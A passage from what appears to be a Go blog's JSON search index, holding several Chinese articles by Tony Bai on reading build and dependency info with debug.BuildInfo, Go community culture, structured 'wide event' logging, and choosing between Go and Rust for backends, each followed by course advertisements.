还包含了完整的依赖树信息（info.Deps）。这在安全响应中价值连城。\n想象一下，如果某个广泛使用的库（例如 github.com/gin-gonic/gin）爆出了高危漏洞，你需要确认线上几十个微服务中，哪些服务使用了受影响的版本。\n传统的做法是去扫 go.mod 文件，但 go.mod 里的版本不一定是最终编译进二进制的版本（可能被 replace 或升级）。最准确的真相，藏在二进制文件里。\n我们可以暴露一个 /debug/deps 接口：\n// buildinfo-examples/demo3/main.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;runtime/debug\u0026#34; _ \u0026#34;github.com/gin-gonic/gin\u0026#34; // \u0026lt;---- 这里空导入一个依赖 ) // DepInfo 定义返回给前端的依赖信息结构 type DepInfo struct { Path string json:\u0026#34;path\u0026#34; // 依赖包路径 Version string json:\u0026#34;version\u0026#34; // 依赖版本 Sum string json:\u0026#34;sum\u0026#34; // 校验和 } // BuildInfoResponse 完整的构建信息响应 type BuildInfoResponse struct { GoVersion string json:\u0026#34;go_version\u0026#34; MainMod string json:\u0026#34;main_mod\u0026#34; Deps []DepInfo json:\u0026#34;deps\u0026#34; } func depsHandler(w http.ResponseWriter, r *http.Request) { // 读取构建信息 info, ok := debug.ReadBuildInfo() if !ok { http.Error(w, \u0026#34;无法获取构建信息，请确保使用 Go Modules 构建\u0026#34;, http.StatusInternalServerError) return } resp := BuildInfoResponse{ GoVersion: info.GoVersion, MainMod: info.Main.Path, Deps: make([]DepInfo, 0, len(info.Deps)), } // 遍历依赖树 for _, d := range info.Deps { resp.Deps = append(resp.Deps, DepInfo{ Path: d.Path, Version: d.Version, Sum: d.Sum, }) } // 设置响应头并输出 JSON w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/json\u0026#34;) if err := json.NewEncoder(w).Encode(resp); err != nil { log.Printf(\u0026#34;JSON编码失败: %v\u0026#34;, err) } } func main() { http.HandleFunc(\u0026#34;/debug/deps\u0026#34;, depsHandler) fmt.Println(\u0026#34;服务已启动，请访问: http://localhost:8080/debug/deps\u0026#34;) // 为了演示依赖输出，你需要确保这个项目是一个 go mod 项目，并引入了一些第三方库 // 例如：go get github.com/gin-gonic/gin if err := http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil); err != nil { log.Fatal(err) } } 通过这个接口，运维平台可以瞬间扫描全网服务，精确定位漏洞影响范围。\n以下是编译和运行示例代码的步骤：\n$go mod tidy $go build $./demo3 服务已启动，请访问: http://localhost:8080/debug/deps 使用浏览器打开http://localhost:8080/debug/deps，你会看到类似如下信息：\n进阶：不仅是“自省”，还能“他省” runtime/debug 用于读取当前运行程序的构建信息。但有时候，我们需要检查一个躺在磁盘上的二进制文件（比如在 CI/CD 流水线中检查构建产物，或者分析一个未知的程序）。\n这时，我们需要用到标准库 debug/buildinfo。\n下面这个示例代码是一个 CLI 工具，它可以读取磁盘上任意 Go 编译的二进制文件，并分析其 Git 信息和依赖。\n文件：demo4/inspector.go\npackage main import ( \u0026#34;debug/buildinfo\u0026#34; \u0026#34;flag\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; \u0026#34;text/tabwriter\u0026#34; ) func main() { // 解析命令行参数 flag.Parse() if flag.NArg() \u0026lt; 1 { fmt.Println(\u0026#34;用法: inspector \u0026lt;path-to-go-binary\u0026gt;\u0026#34;) os.Exit(1) } binPath := flag.Arg(0) // 核心：使用 debug/buildinfo 读取文件，而不是 runtime info, err := buildinfo.ReadFile(binPath) if err != nil { log.Fatalf(\u0026#34;读取二进制文件失败: %v\u0026#34;, err) } fmt.Printf(\u0026#34;=== 二进制文件分析: %s ===\\n\u0026#34;, binPath) fmt.Printf(\u0026#34;Go 版本: \\t%s\\n\u0026#34;, info.GoVersion) fmt.Printf(\u0026#34;主模块路径: \\t%s\\n\u0026#34;, info.Main.Path) // 提取 VCS (Git) 信息 fmt.Println(\u0026#34;\\n[版本控制信息]\u0026#34;) vcsInfo := make(map[string]string) for _, setting := range info.Settings { vcsInfo[setting.Key] = setting.Value } // 使用 tabwriter 对齐输出 w := tabwriter.NewWriter(os.Stdout, 0, 0, 2, \u0026#39; \u0026#39;, 0) if rev, ok := vcsInfo[\u0026#34;vcs.revision\u0026#34;]; ok { fmt.Fprintf(w, \u0026#34;Commit Hash:\\t%s\\n\u0026#34;, rev) } if time, ok := vcsInfo[\u0026#34;vcs.time\u0026#34;]; ok { fmt.Fprintf(w, \u0026#34;Build Time:\\t%s\\n\u0026#34;, time) } if mod, ok := vcsInfo[\u0026#34;vcs.modified\u0026#34;]; ok { dirty := \u0026#34;否\u0026#34; if mod == \u0026#34;true\u0026#34; { dirty = \u0026#34;是 (包含未提交的更改!)\u0026#34; } fmt.Fprintf(w, \u0026#34;Dirty Build:\\t%s\\n\u0026#34;, dirty) } w.Flush() // 打印部分依赖 fmt.Printf(\u0026#34;\\n[依赖模块 (前5个)]\\n\u0026#34;) for i, dep := range info.Deps { if i \u0026gt;= 5 { fmt.Printf(\u0026#34;... 以及其他 %d 个依赖\\n\u0026#34;, len(info.Deps)-5) break } fmt.Printf(\u0026#34;- %s %s\\n\u0026#34;, dep.Path, dep.Version) } } 运行指南：\n编译这个工具：go build -o inspector 找一个其他的 Go 程序（或者就用它自己）： $./inspector ./inspector === 二进制文件分析: ./inspector === Go 版本: go1.25.3 主模块路径: demo4 [版本控制信息] Commit Hash: aa3539a9c4da76d89d25573917b2b37bb43f8a2a Build Time: 2025-12-22T04:24:05Z Dirty Build: 是 (包含未提交的更改!) [依赖模块 (前5个)] 这实际上就是 go version -m 命令的底层实现原理。用go version查看一下inspector程序的信息：\n$go version -m ./inspector ./inspector: go1.25.3 path demo4 mod demo4 (devel) build -buildmode=exe build -compiler=gc build CGO_ENABLED=1 build CGO_CFLAGS= build CGO_CPPFLAGS= build CGO_CXXFLAGS= build CGO_LDFLAGS= build GOARCH=amd64 build GOOS=darwin build GOAMD64=v1 build vcs=git build vcs.revision=aa3539a9c4da76d89d25573917b2b37bb43f8a2a build vcs.time=2025-12-22T04:24:05Z build vcs.modified=true 最佳实践建议 标准化 CLI 版本输出： 在你的 CLI 工具中，利用 ReadBuildInfo 实现 –version 参数，输出 Commit Hash 和 Dirty 状态。这比手动维护一个 const Version = “v1.0.0″ 要可靠得多。\nPrometheus 埋点： 在服务启动时，读取构建信息，并将其作为 Prometheus Gauge 指标的一个固定的 Label 暴露出去（例如 build_info{branch=”main”, commit=”abc1234″, goversion=”1.25″}）。这样你就可以在 Grafana 上直观地看到版本发布的变更曲线。\n警惕 -trimpath： 虽然 -trimpath 对构建可重现的二进制文件很有用，但它不会影响 VCS 信息的嵌入，大家可以放心使用。但是，如果你使用了 -buildvcs=false，那么本文提到的 Git 信息将全部丢失。\n小结 Go 语言通过 debug.BuildInfo 将构建元数据的一等公民身份赋予了二进制文件。作为开发者，我们不应浪费这一特性。\n从今天起，停止在 Makefile 里拼接版本号的魔法吧，让你的 Go 程序拥有“自我意识”，让线上排查变得更加从容。\n本文涉及的示例源码可以在这里下载。\n聊聊你的版本管理\n告别了繁琐的 ldflags，Go 原生的自省能力确实让人眼前一亮。在你的项目中，目前是使用什么方式来管理和输出版本信息的？是否遇到过因为版本不清导致的线上“罗生门”？\n欢迎在评论区分享你的踩坑经历或最佳实践！ 让我们一起把服务的“户口本”管好。\n如果这篇文章帮你解锁了 Go 的新技能，别忘了点个【赞】和【在看】，并分享给你的运维伙伴，他们会感谢你的！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/31/go-introspection-using-debug-buildinfo/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-introspection-using-debug-buildinfo-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/31/go-introspection-using-debug-buildinfo\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/31/go-introspection-using-debug-buildinfo\"\u003ehttps://tonybai.com/2025/12/31/go-introspection-using-debug-buildinfo\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在微服务和云原生时代，当我们面对线上服务的报警时，第一个问题往往不是“哪里出错了？”，而是——\u003cstrong\u003e“现在线上跑的到底是哪个版本？”\u003c/strong\u003e\u003c/p\u003e","title":"Go 服务自省指南：抛弃 ldflags，让你的二进制文件“开口说话”"},{"content":"代码简单，人也简单？揭秘 Go 社区的“反内卷”文化 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n代码简单，人也简单？揭秘 Go 社区的“反内卷”文化 十二月 31, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/12/31/why-go-community-so-active-and-friendly\n大家好，我是Tony Bai。\n“为什么 Go 社区如此活跃且友好？”\n这是一个来自 Reddit r/golang 社区的新人发出的感慨。他曾在 Java 社区潜水，那里“死气沉沉”，充满着冷漠或批评。而来到 Go 社区后，他惊讶地发现，这里不仅活跃，而且人们真的在试图帮助你，而不是“在阴影中点踩”。\n这是一个Go社区新人的直观感受，其实也是 Go 语言发展十余年来最宝贵的资产之一。Go 社区的这种独特气质从何而来？是幸存者偏差，还是语言设计本身筛选了人群？\n让我们从社区的讨论中，寻找答案。\n自我筛选的魔法 最高赞的评论一针见血地指出：“这是自我筛选偏差 (Self-selection bias)。”\n与 Java、C# 这些在企业中根深蒂固、许多人“被迫”使用的语言不同，Go 在很长一段时间里，主要由充满好奇心和激情的开发者主动选择。\n出于热爱：大多数 Gopher 是因为喜欢这门语言的简洁、高效和并发模型而学习它的，而不是因为老板逼迫。 逃离复杂：许多人是从复杂的 C++、Java 或动态语言（Python/Ruby）“逃离”到 Go 的。他们厌倦了过度设计、复杂的构建系统和无休止的争论，渴望一种更简单、更直接的编程方式。 这种共同的“价值观筛选”，造就了一个由热情、务实且志同道合的人组成的社区。就像跑车俱乐部或垂钓爱好者一样，大家聚在一起是因为纯粹的热爱。\n语言设计塑造社区文化 语言不仅仅是工具，它还会塑造使用者的思维方式和交流模式。Go 的极简主义设计哲学，直接影响了社区的氛围。\n没有“圣战” (No Holy Wars) 在其他语言社区，关于“Tabs vs Spaces”、“大括号换行”、“命名风格”的争论可能持续数年，引发无数“圣战”。\n但在 Go 社区，gofmt 终结了一切。官方强制的代码格式化工具，消除了所有关于风格的无谓争论。大家不再浪费时间争吵细枝末节，而是专注于解决问题本身。\n“只有一种写法” Go 推崇“一种问题只有一种（或很少几种）显而易见的解决方案”。这使得：\n代码易读：任何人都能读懂别人的代码，因为大家写出来的都差不多。 帮助容易：回答问题变得简单直接，不需要先解释十种不同的流派或框架。 没有“摇滚明星”：因为语言简单，不存在那种掌握了晦涩语法、以此通过鄙视链来获得优越感的“语言律师”或“大师”。 正如一位评论者所说：“Go 社区没有‘语言势利眼’ (language snobs)，因为这门语言简单得要命。”\n实用主义者的乐园 Go 社区有一种强烈的实用主义 (Pragmatism) 氛围。\n关注结果：大家更关心“如何快速构建并交付”，而不是“如何用最炫酷的技巧实现”。 包容性：因为语言简单，门槛低，Go 对初学者非常友好。大家普遍认为，没有任何问题是“愚蠢”的，只要它是真诚的。 工具文化：Go 拥有强大的标准库和工具链，这让开发者在遇到问题时，往往能找到标准、统一的答案，而不是迷失在第三方库的海洋中。 小结：一种“反内卷”的工程文化 Go 社区的友好，本质上是一种**“反内卷”**的工程文化。\n它拒绝了复杂的抽象、拒绝了炫技、拒绝了无谓的争论。它通过语言层面的约束，强迫开发者关注最本质的东西：解决问题。\n这种文化吸引了那些务实、谦逊、乐于分享的工程师。正如一位来自 .NET 背景的开发者所说：“C# 是一门很棒的语言，但我讨厌它背后的微软企业环境。而 Go 社区，让我找回了编程的乐趣。”\n或许，这就是 Go 语言最大的魅力：它不仅让代码变得简单，也让人际关系变得简单。\n资料链接：https://www.reddit.com/r/golang/comments/1py4pxn/how_is_the_golang_community_so_active_and_friendly/\n你的社区故事\n每个 Gopher 心中都有一个属于自己的社区故事。你第一次感受到 Go 社区的“友好”或“反内卷”是在什么时候？是在一次 Issue 的回复中，还是一次线下的 Meetup 里？\n欢迎在评论区分享你的温暖瞬间！ 让我们一起守护这份难得的简单与纯粹。\n如果这篇文章让你为身为 Gopher 而感到自豪，别忘了点个【赞】和【在看】，并转发给你的开发伙伴！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/31/why-go-community-so-active-and-friendly/","summary":"\u003ch1 id=\"代码简单人也简单揭秘-go-社区的反内卷文化---tony-bai\"\u003e代码简单，人也简单？揭秘 Go 社区的“反内卷”文化 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"代码简单，人也简单？揭秘 Go 社区的“反内卷”文化"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/30/logging-sucks\n大家好，我是Tony Bai。\n“传统的日志记录（Logging）已经死了。不是说我们不再需要记录信息，而是那种‘写日记’式的记录方式，在微服务和高并发时代，已经彻底破产。”\n曾几何时，我们写日志就像写日记：按时间顺序，一行行记录程序跑到了哪儿，发生了什么。但在现代分布式系统中，一个请求可能瞬间穿透几十个服务，留下成千上万行碎片化的文本。面对这种“信息洪流”，传统的 grep 和字符串搜索变得苍白无力。\n正如 Boris Tane 在其深度好文《Logging sucks》中所言，我们正处于一个转折点，正在经历一场范式转移（Paradigm Shift）：我们需要从记录零散的“调试日记”，转向构建高维度的**“结构化事件”**。\n旧范式的崩溃——“调试日记”的局限 我们从入行就被教导的日志写法是这样的：\n[INFO] User 123 clicked checkout [DEBUG] Cart items validated [WARN] Inventory check took 200ms [ERROR] Payment gateway timeout 这种写法本质上是线性的、过程导向的。它假设程序的执行流是连续的，且上下文都在本地。\n但在微服务架构中，这种假设不复存在。\n上下文丢失：当你看到 [ERROR] Payment failed 时，你不知道这个用户的会员等级是什么，也不知道上游的购物车服务是否传递了正确的优惠券代码。 关联困难：为了追踪一个请求，你需要在海量的日志中，像考古学家一样，试图通过时间戳和零星的 ID 把碎片拼凑起来。 基数（Cardinality）限制：传统日志系统为了索引性能，往往惧怕高基数数据（如无限增长的 User ID 或 Request ID），但这恰恰是调试中最需要的信息。 “调试日记”只是在记录代码的执行路径，而我们需要知道的，是业务发生的全部真相。\n新范式的崛起——宽事件 (Wide Events) 为了解决这个问题，我们需要引入**“宽事件”**（也称为规范化日志行）的概念。\n核心理念： 不要在这个请求的生命周期内打印 10 行日志，而是等到请求结束时，发射一个包含所有上下文的宽事件。\n这就好比从“写日记”变成了“填表格”。无论请求经过了多少逻辑分支，最终我们得到的是一个结构化的事实记录：\n{ \u0026#34;timestamp\u0026#34;: \u0026#34;2025-12-26T22:30:00Z\u0026#34;, \u0026#34;event\u0026#34;: \u0026#34;checkout_request_finished\u0026#34;, \u0026#34;duration_ms\u0026#34;: 450, \u0026#34;status\u0026#34;: \u0026#34;error\u0026#34;, // --- 关键：在一个事件中包含所有上下文 --- \u0026#34;user_context\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;u_8848\u0026#34;, \u0026#34;plan\u0026#34;: \u0026#34;enterprise\u0026#34;, \u0026#34;region\u0026#34;: \u0026#34;ap-northeast\u0026#34; }, \u0026#34;infra_context\u0026#34;: { \u0026#34;service\u0026#34;: \u0026#34;payment-srv\u0026#34;, \u0026#34;host\u0026#34;: \u0026#34;k8s-pod-x9s2\u0026#34;, \u0026#34;db_latency\u0026#34;: 120 }, \u0026#34;business_flags\u0026#34;: { \u0026#34;new_checkout_flow\u0026#34;: true, \u0026#34;promotion_applied\u0026#34;: false }, \u0026#34;error_details\u0026#34;: { \u0026#34;code\u0026#34;: \u0026#34;insufficient_funds\u0026#34;, \u0026#34;upstream\u0026#34;: \u0026#34;stripe\u0026#34; } } 范式转移的本质：\n从非结构化到结构化：不再是字符串的拼接，而是键值对的集合。\n从低维度到高维度：一个事件可以包含几十甚至上百个字段（维度），这让你可以在任意维度上进行切片和聚合。\nOpenTelemetry 只是管道，不是答案 很多人认为：“我用了 OpenTelemetry，我的问题就解决了。”\n这是一个巨大的误区。OpenTelemetry (OTel) 提供了标准化的传输协议和 SDK，但它不能帮你决定记录什么。\n如果你只是用 OTel 自动插桩（Auto-instrumentation），你得到的只是一些通用的 HTTP 状态码和延时数据。这就像是用最先进的 5G 网络传输没有任何营养的垃圾短信。\n真正的范式转移，要求开发者主动设计观测性。 你需要在代码中显式地捕获业务上下文（如 user_tier, cart_size, feature_flags），并将它们注入到当前的 Span 或 Event 中。\n工具（OTel）是基础设施，思维（宽事件）才是灵魂。\n从“搜索”进化为“分析” 当你完成了这次范式转移，你的调试方式将发生质的飞跃。\n你不再是在搜索框里输入 Error 然后祈祷能找到线索。你现在可以像数据分析师一样提问：\n“给我看过去一小时，所有企业版用户（Enterprise Plan）在使用了‘新结账流程’特性后，发生的支付失败，并按错误码分组。”\n因为所有这些字段都在同一个宽事件中，数据库（如 ClickHouse, VictoriaMetrics 或其他现代观测平台）可以毫秒级地给出答案。\n此外，配合尾部采样 (Tail Sampling) 策略——即只保留出错的、慢的或特定特征的完整请求链路，丢弃大量无用的成功请求——你可以在不增加存储成本的前提下，获得极高精度的调试能力。\n小结：拥抱数据驱动的调试 “Logging 已死”并非危言耸听，它是对过时习惯的告别。\n从“调试日记”到“结构化事件”的转变，标志着软件工程从经验主义的“猜”，走向了数据驱动的“看”。当我们不再被毫无意义的文本淹没，而是能够通过高维数据透视系统行为时，我们才真正拥有了掌控复杂系统的能力。\n参考资料：https://loggingsucks.com\n聊聊你的“查案”经历\n在微服务的迷宫里，你是否也曾因为一条关键日志的缺失而通宵排查？或者，你所在的团队是否已经开始实践“结构化日志”或“宽事件”？\n欢迎在评论区分享你的“血泪史”或“最佳实践”！ 让我们一起推动可观测性的进化。\n如果这篇文章为你打开了调试的新思路，别忘了点个【赞】和【在看】，并分享给你的架构师朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/30/logging-sucks/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/logging-sucks-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/30/logging-sucks\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/30/logging-sucks\"\u003ehttps://tonybai.com/2025/12/30/logging-sucks\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“传统的日志记录（Logging）已经死了。不是说我们不再需要记录信息，而是那种‘写日记’式的记录方式，在微服务和高并发时代，已经彻底破产。”\u003c/p\u003e","title":"Logging 已死？从“调试日记”到“结构化事件”的范式转移"},{"content":"高并发后端：坚守 Go，还是拥抱 Rust？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n高并发后端：坚守 Go，还是拥抱 Rust？ 十二月 30, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/12/30/high-concurrency-backend-go-vs-rust\n大家好，我是Tony Bai。\n在高并发后端开发领域，Go 语言曾是当之无愧的“默认选项”。然而，随着 Rust 生态的成熟和性能神话的普及，越来越多的架构师开始动摇：是继续坚守 Go 的高效与简洁，还是拥抱 Rust 的极致性能与零成本抽象？\n近日，r/golang 社区的一场热议将这一抉择摆上了台面。这不仅是语言之争，更是关于工程效率、系统复杂度与团队协作的深度博弈。本文将基于这场高质量的社区讨论，为你梳理出理性决策的核心逻辑。\n坚守 Go 的理由——“早点下班”的生产力 在讨论中，尽管 Rust 呼声很高，但支持坚守 Go 的声音依然占据了工程实践的主流。理由惊人地一致：生产力 (Productivity)。\n“可用的软件 \u0026gt; 早期的优化” 一位Reddit 用户 的高赞回答道出了软件工程的真谛：“使用让你高效的工具。可用的软件 \u0026gt; 早期的优化。”\n对于绝大多数后端业务来说，瓶颈往往在于数据库、网络 I/O 或者架构设计，而不是语言本身的 CPU 执行效率。Go 语言的设计初衷就是为了解决谷歌规模的软件工程问题——快速编译、快速部署、易于阅读、易于维护。选择 Go，意味着选择了更快的交付速度。\n“足够好”的并发性能 Go 的 goroutine 和 channel 使得并发编程变得前所未有的简单。正如一位用户所言：“Go 依然是处理高并发请求的王者，因为它简单、易于测试、易于优化。”\n在 99% 的场景下（例如 QPS \u0026lt; 100k），Go 的性能已经绰绰有余。为了追求 Rust 那最后 5% 的性能提升，而牺牲 50% 的开发效率，对于大多数追求商业闭环的项目来说，是一笔亏本买卖。\n人才与生态的护城河 “如果你不是在造火箭，Go 是大多数公司的最佳选择。” Go 拥有庞大且成熟的云原生生态系统（Docker, K8s, Etcd…），以及大量(相对于Rust)容易招聘的工程师。相比之下，Rust 的学习曲线陡峭，人才库相对较小，且招聘与薪资成本更高。\n拥抱 Rust 的动力——当“每一字节”都至关重要 当然，Rust 的崛起并非空穴来风。社区也客观地分析了拥抱 Rust 的必要场景——那些 Go 力不从心 的极端领域。\n极致的资源控制 当你的应用对延迟极其敏感（P99 要求极高），或者需要处理海量数据且对内存占用有严格要求时（例如高频交易、嵌入式系统、数据库内核），Go 的 GC (Garbage Collection) 带来的停顿就成了无法忽视的痛点。此时，Rust 的无 GC 特性就成为了杀手锏。\n一位用户指出：“当 QPS 超过 100k，或者你需要榨干硬件的每一个周期时，Go 的 GC 可能会成为瓶颈，这时 Rust（或 C++）才是更好的选择。”\n“编译期正确”的安全性 Rust 的借用检查器虽然让初学者头疼，但它在编译期就消灭了数据竞争和内存安全问题。对于那些绝对不能崩溃的关键基础设施（如数据平面代理），Rust 提供了比 Go 更强的安全保证。拥抱 Rust，意味着用编译时的痛苦换取运行时的安心。\n工程视角的理性决策 这场讨论最终回归到了工程权衡 (Trade-offs) 上。我们不应在真空中做选择，而应根据业务场景裁决：\n业务开发：坚守 Go。CRUD、微服务、Web API……Go 写起来快，改起来也快，心智负担低，是构建业务逻辑的首选。 基础设施：分层选择。Go 依然是控制面（Control Plane）的主流（看看 K8s），但在更底层的数据平面（Data Plane，如 Envoy, Linkerd 的代理部分），拥抱 Rust 正在成为趋势。 混合架构：一种越来越流行的模式是——用 Go 写控制面和业务逻辑，用 Rust 写核心的高性能组件。正如一位用户所分享：“我用 Rust 写内核模块和 IO 密集型组件，用 Go 写扩展性后端和 OLAP 管道。” 小结：服务于目标的决策 高并发后端的选择，本质上不是非黑即白的站队，而是对项目目标的精准匹配。\n如果你追求快速交付、易于维护、团队协作顺畅，Go 依然是后端开发的默认选项。 如果你遇到了极端的性能瓶颈，或者需要极致的内存安全，那么 Rust 是你强大的特种武器。 不要为了技术而技术。正如一位智者所言：“Done is better than perfect.” (完成比完美更重要)。在你的产品还没遇到 Go 的性能瓶颈之前，先用 Go 把它做出来吧！\n资料链接：https://www.reddit.com/r/golang/comments/1pi3914/is_go_still_the_best_choice_for_highconcurrency\n你的选择是？\n在这场“生产力”与“极致性能”的博弈中，你的团队选择了哪条路？ 是坚守 Go 的高效交付，还是为了 5% 的性能提升而转向 Rust？又或者，你们已经开始了“混合架构”的尝试？\n欢迎在评论区分享你的选型逻辑和实战经验！ 让我们一起看看大家都在怎么选。\n如果这篇文章帮你在技术选型上理清了思路，别忘了点个【赞】和【在看】，并转发给还在纠结的架构师朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/30/high-concurrency-backend-go-vs-rust/","summary":"\u003ch1 id=\"高并发后端坚守-go还是拥抱-rust---tony-bai\"\u003e高并发后端：坚守 Go，还是拥抱 Rust？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle 